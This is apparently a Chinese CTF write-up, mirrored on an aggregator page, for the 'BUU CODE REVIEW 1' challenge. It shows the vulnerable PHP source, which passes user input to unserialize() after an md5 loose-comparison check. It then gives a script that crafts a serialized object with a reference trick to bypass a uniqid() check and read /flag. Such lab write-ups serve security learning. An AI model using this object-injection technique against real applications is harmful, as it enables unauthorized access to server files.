zoukankan      html  css  js  c++  java
  • BUU CODE REVIEW 1

    0x01 题目分析

     1 <?php
     2 /**
     3  * Created by PhpStorm.
     4  * User: jinzhao
     5  * Date: 2019/10/6
     6  * Time: 8:04 PM
     7  */
     8 
     9 highlight_file(__FILE__); //高亮显示当前页面源代码
    10 
    11 class BUU {
    12    public $correct = "";
    13    public $input = "";
    14 
    15    public function __destruct() {   //析构方法 
    16        try {
    17            $this->correct = base64_encode(uniqid());   //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
    18            if($this->correct === $this->input) {
    19                echo file_get_contents("/flag");
    20            }
    21        } catch (Exception $e) {
    22        }
    23    }
    24 }
    25 
    26 if($_GET['pleaseget'] === '1') {
    27     if($_POST['pleasepost'] === '2') {
    28         if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
    29             unserialize($_POST['obj']);
    30         }
    31     }
    32 }

    PHP析构方法:http://c.biancheng.net/view/7504.html

    PHPuniqid()函数:https://www.w3school.com.cn/php/func_misc_uniqid.asp

    MD5相等但值不相等:https://blog.csdn.net/qq_45320164/article/details/115377084

    0x02 重点分析

    前面的条件满足时都不是很难,最重要的是最后的反序列化问题。

    因为使用uniqid()函数得出的值是以微秒为单位来进行变化的,所以使用普通的方法很难实现(除非你的手速快过微秒,O(∩_∩)O哈哈~)。

    通过序列化构造方法:

     1 <?php
     2 class BUU {
     3     public $correct = "";
     4     public $input = "";
     5 
     6     public function __destruct() {
     7         try {
     8             $this->correct = base64_encode(uniqid());
     9             if($this->correct === $this->input) {
    10                 echo file_get_contents("/flag");
    11             }
    12         } catch (Exception $e) {
    13         }
    14     }
    15 }
    16 $a = new BUU();
    17 $a->input=&$a->correct;
    18 echo serialize($a);

    因为$a->correct的值是随时变化的,所以要在前面添加一个&符号,表引用。

    PHP中引用符号(&)的使用介绍:https://blog.csdn.net/bigbigcao/article/details/82393289

    0x03 结尾

    最后将对象$a的值赋值到obj中得到flag

  • 相关阅读:
    用perl做数据库迁移
    【记凡客诚品面试】需要规划的人生,需要专精的技术+京东笔试了。。。
    初学者应该看的东西
    mysql安装图解 mysql图文安装教程(详细说明)
    EMS SQL Manager for MySQL
    全局配置文件也面向服务了~续(对性能的优化)
    推荐几款软件界面模型设计工具
    asp.net中实现文件上传
    UltraEdit支持python语法高亮
    理解并发编程中的几种并发方式
  • 原文地址:https://www.cnblogs.com/nmlwh/p/14724233.html
Copyright © 2011-2022 走看看